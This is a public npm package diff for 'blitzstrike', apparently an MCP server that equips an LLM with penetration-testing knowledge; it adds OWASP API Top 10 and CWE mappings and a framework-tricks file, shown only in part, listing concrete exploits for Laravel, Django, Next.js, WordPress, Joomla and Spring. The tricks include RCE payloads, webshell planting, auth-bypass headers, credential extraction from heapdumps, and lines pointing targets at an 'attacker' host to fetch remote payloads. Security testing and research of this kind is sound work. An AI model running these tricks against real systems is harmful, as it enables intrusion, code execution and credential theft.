blitzstrike 1.1.0 → 1.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,48 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [1.1.3] — 2026-09-13
9
+
10
+ ### Added — standard taxonomy (OWASP API Top 10 + CWE)
11
+
12
+ - New `taxonomy` MCP tool + `intelligence/api_top10.json` + `cwe_map.json`:
13
+ - `taxonomy(api)` → OWASP API Security Top 10 (2023) risks mapped to Blitz
14
+ coverage (BOLA, broken auth, BOPLA, resource consumption, BFLA, business
15
+ flows, SSRF, misconfiguration, inventory, unsafe consumption).
16
+ - `taxonomy(cwe, query)` → CWE ID + name for any technique class (52 mapped),
17
+ for grounding findings in standard IDs during reporting.
18
+ - THIRD-PARTY-NOTICES: OWASP API Security (CC BY-SA 4.0) + MITRE CWE.
19
+
20
+ ## [1.1.2] — 2026-09-13
21
+
22
+ ### Added — curated security resource index
23
+
24
+ - New `resource_lookup` MCP tool + `intelligence/resources.json`: 30 curated
25
+ domain-specific security resources (from the community Awesome-Hacking
26
+ meta-list, filtered to web/pentest relevance) — each tagged with use_when
27
+ (which phase/context it serves). Search by category (web, pentest, bug_bounty,
28
+ api, recon, payload, cve, privesc, source, fuzzing, llm, framework, osint,
29
+ rev, cracking, forensics, malware, ir, intel, cicd, knowledge, labs) or
30
+ keyword. Lets the LLM find the best domain-specific tools/knowledge when
31
+ Blitz Strike's own data doesn't cover a domain.
32
+
33
+ ## [1.1.1] — 2026-09-13
34
+
35
+ ### Added — HackTricks full enrichment (52 classes + 16 frameworks)
36
+
37
+ - `techniques.json` expanded 25 → 52 vulnerability classes (added crlf, ldap,
38
+ xpath, xslt, ssi, xssi, email injection, formula/CSV injection, orm, rsql,
39
+ json/xml/yaml, unicode, dangling markup, account takeover, 2FA bypass,
40
+ rate-limit bypass, password reset, captcha bypass, registration, payment
41
+ bypass, timing attacks, uuid insecurities, reverse tabnabbing, iframe traps,
42
+ cookie hacking, postMessage vulnerabilities, methodology).
43
+ - New `framework_tricks` MCP tool + `intelligence/framework_tricks.json`: 16
44
+ frameworks (Laravel, Django, Flask, Node/Express, Next.js, Vue, Angular,
45
+ WordPress, Joomla, Spring, JSP, Python, Go, Ruby/Rails, Perl, GraphQL) with
46
+ detection signals, known vulns/CVEs, and concrete attack tricks.
47
+ - Synthesized in own words from public technique references (paraphrased, not
48
+ verbatim — HackTricks has no open license).
49
+
8
50
  ## [1.1.0] — 2026-09-13
9
51
 
10
52
  ### Added — detailed technique base (25 vulnerability classes)
@@ -56,6 +56,19 @@ satisfies the attribution requirements of those licenses.
56
56
  (category identifiers WSTG-INFO/CONF/IDNT/ATHN/ATHZ/SESS/INPV/ERRH/CRYP/
57
57
  BUSL/CLNT/APIT and their test names).
58
58
 
59
+ ## OWASP API Security Top 10
60
+
61
+ - **Source:** https://github.com/OWASP/API-Security
62
+ - **License:** CC BY-SA 4.0
63
+ - **Used for:** the 2023 risk taxonomy in `intelligence/api_top10.json`
64
+ (API1–API10 identifiers and risk names).
65
+
66
+ ## MITRE CWE (Common Weakness Enumeration)
67
+
68
+ - **Source:** https://cwe.mitre.org
69
+ - **Used for:** standard weakness identifiers + names in `intelligence/cwe_map.json`
70
+ (CWE IDs are MITRE's taxonomy; the technique→CWE mapping is our own).
71
+
59
72
  ---
60
73
 
61
74
  All other code, chains, and data in this project are written by shinthink
package/dist/index.js CHANGED
@@ -31782,6 +31782,66 @@ function techniqueLookup(cls) {
31782
31782
  return { found: true, ...c };
31783
31783
  return { found: false, cls, suggestions: data.classes.map((x) => String(x.id)) };
31784
31784
  }
31785
+ function frameworkTricks(framework) {
31786
+ const data = loadJson("framework_tricks");
31787
+ if (!data)
31788
+ return { found: false, error: "framework_tricks.json not found" };
31789
+ if (!framework) {
31790
+ return { found: true, frameworks: data.frameworks.map((f) => ({ framework: f.framework })) };
31791
+ }
31792
+ const q = framework.toLowerCase();
31793
+ const f = data.frameworks.find((x) => String(x.framework).toLowerCase().includes(q));
31794
+ if (f)
31795
+ return { found: true, ...f };
31796
+ return { found: false, framework, suggestions: data.frameworks.map((x) => String(x.framework)) };
31797
+ }
31798
+ function resourceLookup(category) {
31799
+ const data = loadJson("resources");
31800
+ if (!data)
31801
+ return { found: false, error: "resources.json not found" };
31802
+ if (!category) {
31803
+ return {
31804
+ found: true,
31805
+ resources: data.resources.map((r) => ({ id: r.id, name: r.name, category: r.category, use_when: r.use_when }))
31806
+ };
31807
+ }
31808
+ const q = category.toLowerCase();
31809
+ const matches = data.resources.filter((r) => String(r.category).toLowerCase() === q || String(r.id).toLowerCase().includes(q) || String(r.name).toLowerCase().includes(q) || String(r.use_when).toLowerCase().includes(q));
31810
+ if (matches.length > 0)
31811
+ return { found: true, matches };
31812
+ return { found: false, category, suggestions: [...new Set(data.resources.map((r) => String(r.category)))] };
31813
+ }
31814
+ function taxonomy(kind, query) {
31815
+ if (kind === "api" || kind === "api_top10" || kind === "owasp-api") {
31816
+ const data = loadJson("api_top10");
31817
+ if (!data)
31818
+ return { found: false, error: "api_top10.json not found" };
31819
+ if (!query)
31820
+ return { found: true, risks: data.risks };
31821
+ const q = query.toLowerCase();
31822
+ const r = data.risks.find((x) => String(x.id).toLowerCase() === q || String(x.name).toLowerCase().includes(q));
31823
+ if (r)
31824
+ return { found: true, ...r };
31825
+ return { found: false, query, suggestions: data.risks.map((x) => String(x.id)) };
31826
+ }
31827
+ if (kind === "cwe" || kind === "weakness") {
31828
+ const data = loadJson("cwe_map");
31829
+ if (!data)
31830
+ return { found: false, error: "cwe_map.json not found" };
31831
+ if (!query)
31832
+ return { found: true, mapping: data.mapping };
31833
+ const q = query.toLowerCase();
31834
+ const m = data.mapping.filter((x) => String(x.id).toLowerCase().includes(q) || String(x.cwe).toLowerCase() === q || String(x.name).toLowerCase().includes(q));
31835
+ if (m.length > 0)
31836
+ return { found: true, matches: m };
31837
+ return { found: false, query, suggestions: data.mapping.map((x) => String(x.id)) };
31838
+ }
31839
+ return {
31840
+ found: false,
31841
+ error: "unknown taxonomy kind",
31842
+ usage: "taxonomy(kind='api'|'cwe', query?)"
31843
+ };
31844
+ }
31785
31845
 
31786
31846
  // src/active.ts
31787
31847
  var TIMEOUT_MS2 = 20000;
@@ -54277,13 +54337,41 @@ ${statusLine}` : statusLine },
54277
54337
  });
54278
54338
  server.registerTool("technique_lookup", {
54279
54339
  title: "Detailed bug-hunting technique base",
54280
- description: "INTEL: return the DETAILED methodology + tricks for one vulnerability class (ssrf, request_smuggling, cache_poisoning, race_condition, ssti, deserialization, prototype_pollution, mass_assignment, sql_injection, nosql_injection, xss, cors, csrf, jwt, oauth, host_header, open_redirect, subdomain_takeover, idor, graphql, websocket, file_upload, path_traversal_lfi, command_injection, xxe). Each returns summary, objectives, how_to_test steps, concrete techniques, and verify (marker + negative control). Load before testing a class to hunt it in detail.",
54340
+ description: "INTEL: return the DETAILED methodology + tricks for one vulnerability class (52 classes: ssrf, request smuggling, cache poisoning, race conditions, ssti, deserialization, prototype pollution, mass assignment, sql/nosql injection, xss, cors, csrf, jwt, oauth, host header, open redirect, subdomain takeover, idor, graphql, websocket, file upload, path traversal/LFI, command injection, xxe, crlf, ldap, xpath, xslt, ssi, xssi, email, formula/CSV, orm, rsql, unicode, dangling markup, account takeover, 2fa bypass, rate-limit, password reset, captcha, registration, payment bypass, timing, uuid, reverse tabnabbing, iframe traps, cookies, postMessage, ...). Each returns summary, objectives, how_to_test steps, concrete techniques, and verify (marker + negative control). Load before testing a class to hunt it in detail.",
54281
54341
  inputSchema: {
54282
54342
  cls: string2().optional().describe("Optional class id or name (e.g. 'ssrf', 'request smuggling', 'ssti').")
54283
54343
  }
54284
54344
  }, async ({ cls }) => {
54285
54345
  return { content: [{ type: "text", text: JSON.stringify(techniqueLookup(cls)) }] };
54286
54346
  });
54347
+ server.registerTool("framework_tricks", {
54348
+ title: "Framework-specific exploitation tricks",
54349
+ description: "INTEL: return framework-specific exploitation knowledge for a framework (Laravel, Django, Flask, Node/Express, Next.js, Vue, Angular, WordPress, Joomla, Spring, JSP, Python, Go, Ruby/Rails, Perl, GraphQL) — detection signals, known vulns/CVEs, and concrete attack tricks. Use after detect_framework to hunt that framework's specific weaknesses.",
54350
+ inputSchema: {
54351
+ framework: string2().optional().describe("Optional framework name (e.g. 'laravel', 'django', 'wordpress').")
54352
+ }
54353
+ }, async ({ framework }) => {
54354
+ return { content: [{ type: "text", text: JSON.stringify(frameworkTricks(framework)) }] };
54355
+ });
54356
+ server.registerTool("resource_lookup", {
54357
+ title: "Curated security resource index",
54358
+ description: "INTEL: return curated domain-specific security resources (the community Awesome-Hacking index, filtered to web/pentest relevance) — each with name, URL, description, and use_when (which phase/context it serves). Search by category (web, pentest, bug_bounty, api, recon, payload, cve, privesc, source, fuzzing, llm, framework, osint, rev, cracking, forensics, malware, ir, intel, cicd, knowledge, labs) or keyword. Use to find the best domain-specific tools/knowledge when Blitz Strike's own data doesn't cover it.",
54359
+ inputSchema: {
54360
+ category: string2().optional().describe("Optional category id or keyword (e.g. 'web', 'payload', 'recon', 'privesc').")
54361
+ }
54362
+ }, async ({ category }) => {
54363
+ return { content: [{ type: "text", text: JSON.stringify(resourceLookup(category)) }] };
54364
+ });
54365
+ server.registerTool("taxonomy", {
54366
+ title: "OWASP API Top 10 + CWE taxonomy",
54367
+ description: "INTEL: return standard taxonomy for grounding + professional reporting. taxonomy(kind='api') returns the OWASP API Security Top 10 (2023) risks mapped to Blitz coverage; taxonomy(kind='cwe', query='ssrf') returns the CWE ID + name for a technique class (or a CWE id). Use to map findings to standard IDs (CWE-79, CWE-89, API1 BOLA, ...).",
54368
+ inputSchema: {
54369
+ kind: string2().optional().describe("'api' (OWASP API Top 10) or 'cwe' (CWE mapping)."),
54370
+ query: string2().optional().describe("Optional query: a technique class id (for cwe) or an API risk id (for api).")
54371
+ }
54372
+ }, async ({ kind, query }) => {
54373
+ return { content: [{ type: "text", text: JSON.stringify(taxonomy(kind, query)) }] };
54374
+ });
54287
54375
  server.registerTool("engagement_start", {
54288
54376
  title: "Start an engagement",
54289
54377
  description: "ORCHESTRATION: open an engagement and track its state. Call at the start of a full audit so subsequent engagement_phase / engagement_track / engagement_status calls have a state to update. The LLM is the brain; this is the deterministic bookkeeping hand.",
@@ -0,0 +1,15 @@
1
+ {
2
+ "_comment": "OWASP API Security Top 10 (2023) mapped to Blitz Strike coverage. Each risk has its id, name, and the Blitz technique/tool that hunts it.",
3
+ "risks": [
4
+ {"id": "API1", "name": "Broken Object Level Authorization (BOLA)", "cwe": ["CWE-639"], "desc": "Accessing another user's object by tampering the object id without an authorization check.", "blitz": "technique_lookup(idor) + active_scan", "data": []},
5
+ {"id": "API2", "name": "Broken Authentication", "cwe": ["CWE-287", "CWE-384"], "desc": "Weak or bypassable authentication (JWT, OAuth, token, credential flaws).", "blitz": "technique_lookup(jwt) + technique_lookup(oauth) + bypass_lookup(auth)", "data": []},
6
+ {"id": "API3", "name": "Broken Object Property Level Authorization (BOPLA)", "cwe": ["CWE-915", "CWE-639"], "desc": "Mass assignment / excessive data exposure of object properties.", "blitz": "technique_lookup(mass_assignment) + complex_scan", "data": []},
7
+ {"id": "API4", "name": "Unrestricted Resource Consumption", "cwe": ["CWE-400", "CWE-770"], "desc": "DoS via missing rate limits, deep recursion, or resource exhaustion.", "blitz": "technique_lookup(rate_limit_bypass) + technique_lookup(race_condition)", "data": []},
8
+ {"id": "API5", "name": "Broken Function Level Authorization (BFLA)", "cwe": ["CWE-862", "CWE-285"], "desc": "Invoking admin-only functions without the right role.", "blitz": "technique_lookup(idor) + route_scan", "data": []},
9
+ {"id": "API6", "name": "Unrestricted Access to Sensitive Business Flows", "cwe": ["CWE-841"], "desc": "Abusing a legitimate business flow (purchase, redeem) without authorization.", "blitz": "technique_lookup(bypass_payment) + hp-business-logic-fuzzing", "data": []},
10
+ {"id": "API7", "name": "Server Side Request Forgery", "cwe": ["CWE-918"], "desc": "The API fetches an attacker-influenced URL to reach internal services.", "blitz": "technique_lookup(ssrf) + ap-ssrf-cloud-metadata", "data": ["chains"]},
11
+ {"id": "API8", "name": "Security Misconfiguration", "cwe": ["CWE-16"], "desc": "Verbose errors, exposed debug/admin endpoints, missing headers, CORS misconfig.", "blitz": "technique_lookup(cors) + live_recon + web-hunting (exposed config)", "data": []},
12
+ {"id": "API9", "name": "Improper Inventory Management", "cwe": ["CWE-1057"], "desc": "Orphaned/legacy API versions or endpoints left undocumented and unprotected.", "blitz": "live_recon (versioned APIs) + web-hunting (recon)", "data": []},
13
+ {"id": "API10", "name": "Unsafe Consumption of APIs", "cwe": ["CWE-20", "CWE-502"], "desc": "Trusting third-party API responses that are then processed unsafely.", "blitz": "technique_lookup(deserialization) + technique_lookup(command_injection)", "data": []}
14
+ ]
15
+ }
@@ -0,0 +1,56 @@
1
+ {
2
+ "_comment": "Technique class -> CWE mapping (standard weakness IDs, for grounding + professional reporting). Each entry maps a techniques.json class id to its CWE ID(s) and name.",
3
+ "mapping": [
4
+ {"id": "ssrf", "cwe": "CWE-918", "name": "Server-Side Request Forgery (SSRF)"},
5
+ {"id": "request_smuggling", "cwe": "CWE-444", "name": "Inconsistent Interpretation of HTTP Requests (Request Smuggling)"},
6
+ {"id": "cache_poisoning", "cwe": "CWE-524", "name": "Use of Cache Containing Sensitive Information"},
7
+ {"id": "race_condition", "cwe": "CWE-362", "name": "Concurrent Execution using Shared Resource (TOCTOU)"},
8
+ {"id": "ssti", "cwe": "CWE-1336", "name": "Improper Neutralization of Special Elements Used in a Template Engine (SSTI)"},
9
+ {"id": "deserialization", "cwe": "CWE-502", "name": "Deserialization of Untrusted Data"},
10
+ {"id": "prototype_pollution", "cwe": "CWE-1321", "name": "Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution)"},
11
+ {"id": "mass_assignment", "cwe": "CWE-915", "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"},
12
+ {"id": "sql_injection", "cwe": "CWE-89", "name": "SQL Injection"},
13
+ {"id": "nosql_injection", "cwe": "CWE-943", "name": "Improper Neutralization of Special Elements in Data Query Logic (NoSQL Injection)"},
14
+ {"id": "xss", "cwe": "CWE-79", "name": "Cross-site Scripting"},
15
+ {"id": "cors", "cwe": "CWE-942", "name": "Permissive Cross-domain Policy with Untrusted Domains (CORS)"},
16
+ {"id": "csrf", "cwe": "CWE-352", "name": "Cross-Site Request Forgery"},
17
+ {"id": "jwt", "cwe": "CWE-347", "name": "Improper Verification of Cryptographic Signature"},
18
+ {"id": "oauth", "cwe": "CWE-287", "name": "Improper Authentication"},
19
+ {"id": "host_header", "cwe": "CWE-644", "name": "Improper Neutralization of HTTP Headers for Scripting Syntax (Host Header)"},
20
+ {"id": "open_redirect", "cwe": "CWE-601", "name": "URL Redirection to Untrusted Site (Open Redirect)"},
21
+ {"id": "subdomain_takeover", "cwe": "CWE-350", "name": "Reliance on Reverse DNS Resolution for a Security-Critical Action"},
22
+ {"id": "idor", "cwe": "CWE-639", "name": "Authorization Bypass Through User-Controlled Key (IDOR/BOLA)"},
23
+ {"id": "graphql", "cwe": "CWE-862", "name": "Missing Authorization"},
24
+ {"id": "websocket", "cwe": "CWE-345", "name": "Insufficient Verification of Data Authenticity (WebSocket Hijacking)"},
25
+ {"id": "file_upload", "cwe": "CWE-434", "name": "Unrestricted Upload of File with Dangerous Type"},
26
+ {"id": "path_traversal_lfi", "cwe": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)"},
27
+ {"id": "command_injection", "cwe": "CWE-78", "name": "OS Command Injection"},
28
+ {"id": "xxe", "cwe": "CWE-611", "name": "Improper Restriction of XML External Entity Reference (XXE)"},
29
+ {"id": "crlf_injection", "cwe": "CWE-93", "name": "Improper Neutralization of CRLF Sequences (CRLF Injection)"},
30
+ {"id": "ldap_injection", "cwe": "CWE-90", "name": "Improper Neutralization of Special Elements in LDAP Queries"},
31
+ {"id": "xpath_injection", "cwe": "CWE-643", "name": "Improper Neutralization of Data within XPath Expressions"},
32
+ {"id": "xslt_injection", "cwe": "CWE-91", "name": "XML Injection (XSLT)"},
33
+ {"id": "ssi_injection", "cwe": "CWE-97", "name": "Improper Neutralization of Server-Side Includes (SSI)"},
34
+ {"id": "xssi", "cwe": "CWE-200", "name": "Exposure of Sensitive Information to an Unauthorized Actor (XSSI)"},
35
+ {"id": "email_injection", "cwe": "CWE-74", "name": "Improper Neutralization of Special Elements in Output (Email Header Injection)"},
36
+ {"id": "formula_csv_injection", "cwe": "CWE-1236", "name": "Improper Neutralization of Formula Elements in a CSV File"},
37
+ {"id": "orm_injection", "cwe": "CWE-89", "name": "SQL Injection (via ORM)"},
38
+ {"id": "rsql_injection", "cwe": "CWE-89", "name": "SQL Injection (RSQL/FIQL)"},
39
+ {"id": "unicode_injection", "cwe": "CWE-180", "name": "Incorrect Behavior Order: Validate Before Canonicalize"},
40
+ {"id": "dangling_markup", "cwe": "CWE-79", "name": "Cross-site Scripting (Dangling Markup)"},
41
+ {"id": "account_takeover", "cwe": "CWE-287", "name": "Improper Authentication (Account Takeover)"},
42
+ {"id": "two_fa_bypass", "cwe": "CWE-308", "name": "Use of Single-factor Authentication"},
43
+ {"id": "rate_limit_bypass", "cwe": "CWE-799", "name": "Improper Control of Interaction Frequency (Rate Limit)"},
44
+ {"id": "password_reset_bypass", "cwe": "CWE-640", "name": "Weak Password Recovery Mechanism for Forgotten Password"},
45
+ {"id": "captcha_bypass", "cwe": "CWE-804", "name": "Guessable CAPTCHA"},
46
+ {"id": "registration_vulnerabilities", "cwe": "CWE-799", "name": "Improper Control of Interaction Frequency"},
47
+ {"id": "payment_bypass", "cwe": "CWE-841", "name": "Improper Enforcement of Behavioral Workflow (Business Logic)"},
48
+ {"id": "timing_attacks", "cwe": "CWE-208", "name": "Observable Timing Discrepancy"},
49
+ {"id": "uuid_insecurities", "cwe": "CWE-330", "name": "Use of Insufficiently Random Values"},
50
+ {"id": "reverse_tab_nabbing", "cwe": "CWE-1022", "name": "Use of Web Link to Untrusted Target with window.opener Access (Reverse Tabnabbing)"},
51
+ {"id": "iframe_traps", "cwe": "CWE-1021", "name": "Improper Restriction of Rendered UI Layers or Frames (Clickjacking)"},
52
+ {"id": "cookie_hacking", "cwe": "CWE-565", "name": "Reliance on Cookies without Validation and Integrity Checking"},
53
+ {"id": "postmessage_vulnerabilities", "cwe": "CWE-345", "name": "Insufficient Verification of Data Authenticity (postMessage)"},
54
+ {"id": "web_vulnerabilities_methodology", "cwe": "CWE-1057", "name": "Improper Inventory / Methodology"}
55
+ ]
56
+ }
@@ -0,0 +1,338 @@
1
+ {
2
+ "_comment": "Framework-specific exploitation tricks (signals to fingerprint, known vulns/CVEs, and concrete attack tricks). Synthesized from general security knowledge.",
3
+ "frameworks": [
4
+ {
5
+ "framework": "Laravel",
6
+ "signals": [
7
+ "XSRF-TOKEN + laravel_session cookies",
8
+ "_ignition/health-check endpoint (Ignition debug tool)",
9
+ "_debugbar / telescope / horizon endpoints + Blade error pages"
10
+ ],
11
+ "vulns": [
12
+ "APP_KEY leak → AES-256-CBC/GCM cookie forgery → PHP deserialization RCE (CVE-2018-15133; Invoice Ninja CVE-2024-55555, Snipe-IT CVE-2024-48987, Crater CVE-2024-55556)",
13
+ "HTTP argv/env override → auth bypass (CVE-2024-52301)",
14
+ "Wildcard file validation bypass on files.* (CVE-2025-27515)",
15
+ "Debug-mode Whoops reflected XSS (CVE-2024-13918/13919)",
16
+ "Unsafe SQL functions (DB::raw / orderByRaw style concat)"
17
+ ],
18
+ "tricks": [
19
+ "Offline APP_KEY brute-force of leaked XSRF-TOKEN/laravel_session ciphertexts (Synacktiv: ~3.99% crack rate, top-10 default keys in commercial templates)",
20
+ "phpggc Laravel/RCE13|RCE9|RCE15 + laravel_crypto_killer.py encrypt → deliver to any decrypt() sink (route/cookie/session)",
21
+ "?--env=preprod / ?--env=local query override when register_argc_argv=On",
22
+ "Multipart field files[0][__asterisk__payload]=@shell.php to skip validator but still write UploadedFile",
23
+ "LFI/debug page → /../.env to recover APP_KEY and DB creds"
24
+ ]
25
+ },
26
+ {
27
+ "framework": "Django",
28
+ "signals": [
29
+ "sessionid + csrftoken cookies",
30
+ "/admin/ login + /static/admin/css/base.css hashes",
31
+ "debug stack traces / X-Frame-Options error pages for version fingerprinting"
32
+ ],
33
+ "vulns": [
34
+ "Cache pickle deserialization → RCE (FileBasedCache / Redis / DB backends; HackerOne #1415436)",
35
+ "Host header / password-reset poisoning via request.META['HTTP_HOST'] bypassing ALLOWED_HOSTS",
36
+ "SSTI in Django Template Language (DTL is Turing-complete)",
37
+ "PickleSerializer + signed_cookies session backend → SECRET_KEY leak = RCE",
38
+ "SQLi in QuerySet values/alias/JSONField key names (CVE-2024-42005, CVE-2025-57833); log injection (CVE-2025-48432)"
39
+ ],
40
+ "tricks": [
41
+ "{{7*7}} → 49 SSTI probe; {{''.__class__.mro()[1].__subclasses__()}} walk to subprocess.Popen",
42
+ "{{ users.values }} QuerySet dump bypasses __str__ filtering even when RCE is blocked",
43
+ "badsecrets against sessionid to test known/weak SECRET_KEY",
44
+ "Drop malicious pickle at /var/tmp/django_cache/<key> (os.system __reduce__)",
45
+ "signing.dumps(RCE(), key=SECRET_KEY, serializer=PickleSerializer) → sessionid=RCE cookie"
46
+ ]
47
+ },
48
+ {
49
+ "framework": "Flask",
50
+ "signals": [
51
+ "session cookie (URL-safe base64, signed not encrypted)",
52
+ "Werkzeug server headers / debugger PIN page",
53
+ "Jinja2 template error pages"
54
+ ],
55
+ "vulns": [
56
+ "SSTI via Jinja2 when user input reaches render_template_string/format",
57
+ "Session cookie forgery → privilege escalation when secret key is leaked/weak",
58
+ "Unsafe proxy URL concatenation → SSRF via '@' host confusion in request path"
59
+ ],
60
+ "tricks": [
61
+ "flask-unsign --decode / --wordlist rockyou --unsign / --sign {'logged_in':True}",
62
+ "GET @/ or @attacker.example request-target to reach Flask routes and poison concatenated URLs",
63
+ "ripsession to automate cookie forgery across a wordlist",
64
+ "sqlmap --eval to sign SQLi payloads with a known Flask secret"
65
+ ]
66
+ },
67
+ {
68
+ "framework": "Node.js / Express",
69
+ "signals": [
70
+ "X-Powered-By: Express",
71
+ "connect.sid, s:<sig> and j:<json> cookies",
72
+ "_method=PUT/DELETE hidden fields + body-parser error pages"
73
+ ],
74
+ "vulns": [
75
+ "qs / extended urlencoded parser → prototype pollution, mass assignment, NoSQLi via nested keys",
76
+ "trust proxy misconfig → X-Forwarded-* header spoofing (host/proto/ip)",
77
+ "Session fixation (no req.session.regenerate() after login)",
78
+ "Method-override smuggling of PUT/PATCH/DELETE through POST-only edges",
79
+ "Signed-cookie secret brute-force / rotation-key weakness"
80
+ ],
81
+ "tricks": [
82
+ "?user[role]=admin&filters[name][$ne]=x (qs nesting, __proto__/constructor[prototype] payloads)",
83
+ "X-Forwarded-Host/Proto/For spoofing for reset-poisoning, IP allowlist and rate-limit bypass",
84
+ "X-HTTP-Method-Override: DELETE or POST /x?_method=PUT to reach hidden routes/CSRF",
85
+ "cookie-monster -c <cookie> -w wordlist to brute cookie secrets then re-sign"
86
+ ]
87
+ },
88
+ {
89
+ "framework": "Next.js",
90
+ "signals": [
91
+ "/_next/static/<buildId>/ assets and buildId in HTML",
92
+ "Next-Action header on POST / (Server Actions)",
93
+ "text/x-component Flight responses + x-nextjs-prerender"
94
+ ],
95
+ "vulns": [
96
+ "Middleware auth bypass via x-middleware-subrequest header (CVE-2025-29927)",
97
+ "RSC Flight deserialization → prototype pollution → RCE (CVE-2025-55182 / React2Shell, react-server-dom-webpack 19.0.0–19.2.0)",
98
+ "RSC cache poisoning / content-type confusion → stored XSS (CVE-2025-49005, Re:CACHE)",
99
+ "RSC DoS + Server Function source disclosure (CVE-2025-55183/55184/67779)",
100
+ "Client-side path traversal (CSPT) and dangerouslySetInnerHTML XSS"
101
+ ],
102
+ "tricks": [
103
+ "x-middleware-subrequest: middleware:middleware:... to flip 307→200 on protected routes",
104
+ "Flight payload {\"then\":\"$1:__proto__:then\", _formData.get:\"$1:constructor:constructor\", _prefix: require('child_process').exec(...)}",
105
+ "react2shell-scanner --safe-check (500 + E{\"digest\"} = vulnerable oracle)",
106
+ "Hash↔function mapping: regex createServerReference(...) in chunks + source maps, swap Next-Action values",
107
+ "Accept/Rsc: 1 header to force RSC payload; _buildManifest.js for route enumeration"
108
+ ]
109
+ },
110
+ {
111
+ "framework": "Vue.js",
112
+ "signals": [
113
+ "v-html directive / Vue runtime in JS bundles",
114
+ "__VUE__ global + Vue devtools",
115
+ "vue-template-compiler / SSR builds"
116
+ ],
117
+ "vulns": [
118
+ "v-html raw HTML XSS (img onerror)",
119
+ "v-bind:href/src javascript: URL injection",
120
+ "SSR untrusted template → RCE (vue-template-compiler CVEs)",
121
+ "Prototype pollution in plugins (vue-i18n deep-merge GHSA-p2ph-7g93-hw3m)",
122
+ "Open redirect via unchecked route query next param"
123
+ ],
124
+ "tricks": [
125
+ "<img src=x onerror=alert(1)> through v-html",
126
+ "javascript:alert(1) via v-bind:href user input",
127
+ "createSSRApp({ template: userProvidedHtml }) = server-side code exec",
128
+ "JSON.parse('{\"__proto__\":{\"polluted\":true}}') into deepmerge helper",
129
+ "window.location.assign(this.$route.query.next) open redirect"
130
+ ]
131
+ },
132
+ {
133
+ "framework": "Angular",
134
+ "signals": [
135
+ "_ngcontent-* attributes on DOM",
136
+ "[id].main.js compiled bundles + //# sourceMappingURL",
137
+ "ng-version / angular.json sourceMap config"
138
+ ],
139
+ "vulns": [
140
+ "bypassSecurityTrustHtml/Url/Style misuse → sanitizer bypass XSS",
141
+ "Runtime template injection {{constructor.constructor('alert(1)')()}}",
142
+ "DOM XSS via ElementRef.nativeElement, Renderer2.setAttribute/setProperty, jQuery html()",
143
+ "Open redirect via window.location / document.location sinks"
144
+ ],
145
+ "tricks": [
146
+ "bypassSecurityTrustHtml('<svg onclick=alert(1)>') — script tags inert via innerHTML but on* attributes fire",
147
+ "{{constructor.constructor('alert(1)')()}} when attacker input is compiled as template (not plain interpolation)",
148
+ "renderer2.setAttribute(el,'onerror','alert(1)') on <img>",
149
+ "document.write/createElement + appendChild script sinks",
150
+ "Source-map disclosure for source reconstruction when sourceMap enabled"
151
+ ]
152
+ },
153
+ {
154
+ "framework": "WordPress",
155
+ "signals": [
156
+ "wp-content/wp-includes paths, meta generator tag",
157
+ "/wp-json/wp/v2/users + xmlrpc.php",
158
+ "/wp-login.php, /wp-admin/admin-ajax.php, license.txt/readme.html version"
159
+ ],
160
+ "vulns": [
161
+ "Unauth plugin/theme SQLi/LFI/file-deletion via wp_ajax_nopriv_ handlers (WP Job Portal, Depicter, Kubio, Litho)",
162
+ "Trusted-header REST impersonation → admin creation (WooCommerce Payments ≤5.6.1, X-Wcpay-Platform-Checkout-User: 1)",
163
+ "Nonce-as-authorization misuse → arbitrary plugin install/activate RCE (FunnelKit, Motors)",
164
+ "XML-RPC credential brute-force + pingback SSRF/DDoS + 2FA bypass",
165
+ "Pre-auth login XSS → DOM clobbering → RCE chain (XSS2Shell, core <7.0.3); MU-plugin stealth persistence"
166
+ ],
167
+ "tricks": [
168
+ "?author=1 user-ID enumeration + wp-json/wp/v2/users dump",
169
+ "system.multicall for multi-cred brute-force; wp.uploadFile for RCE once creds obtained",
170
+ "X-Wcpay-Platform-Checkout-User: 1 on POST /wp-json/wp/v2/users with roles:[administrator]",
171
+ "admin-ajax.php action=<nopriv> fontfamily=../../../wp-config.php (arbitrary delete/LFI/SQLi)",
172
+ "Theme Editor → edit 404.php with system($_GET['cmd']) → curl /wp-content/themes/<theme>/404.php?cmd=id"
173
+ ]
174
+ },
175
+ {
176
+ "framework": "Joomla",
177
+ "signals": [
178
+ "<meta name=generator content=Joomla>",
179
+ "/administrator/manifests/files/joomla.xml + /language/en-GB/en-GB.xml version files",
180
+ "README.txt + robots.txt markers"
181
+ ],
182
+ "vulns": [
183
+ "Unauth API info disclosure (CVE-2023-23752, Joomla 4.0.0–4.2.7)",
184
+ "Admin template-edit → PHP injection → RCE",
185
+ "XSS → RCE / privilege-escalation chains (JoomSploit)"
186
+ ],
187
+ "tricks": [
188
+ "/api/v1/users?public=true and /api/index.php/v1/config/application?public=true (CVE-2023-23752)",
189
+ "Templates → Customise → error.php → system($_GET['cmd']) → /templates/protostar/error.php?cmd=id",
190
+ "droopescan scan joomla --url <target>",
191
+ "joomla-brute.py default creds (admin:admin)"
192
+ ]
193
+ },
194
+ {
195
+ "framework": "Spring Actuators",
196
+ "signals": [
197
+ "/actuator/* base path (Spring Boot 2.x) or root /health,/env (1.x)",
198
+ "/health, /info, /env, /beans, /mappings, /heapdump, /loggers",
199
+ "Spring Boot version banners / error pages"
200
+ ],
201
+ "vulns": [
202
+ "Exposed actuator endpoints → sensitive data + env/config disclosure",
203
+ "/jolokia reloadByURL → logback XXE/RCE via external XML config",
204
+ "/env property modification → XStream deserialization RCE (Eureka serviceURL) + H2 RCE chain",
205
+ "/heapdump JVM snapshot secrets (DB creds, tokens, Basic-Auth)",
206
+ "/loggers level escalation to capture auth credentials"
207
+ ],
208
+ "tricks": [
209
+ "wget /actuator/heapdump && strings | grep 'Authorization: Basic' then base64 -d; JDumpSpider/VisualVM OQL for DataSourceProperties",
210
+ "POST /env eureka.client.serviceUrl.defaultZone=http://attacker/xstream",
211
+ "/jolokia/exec/.../reloadByURL/http:!/!/attacker/logback.xml",
212
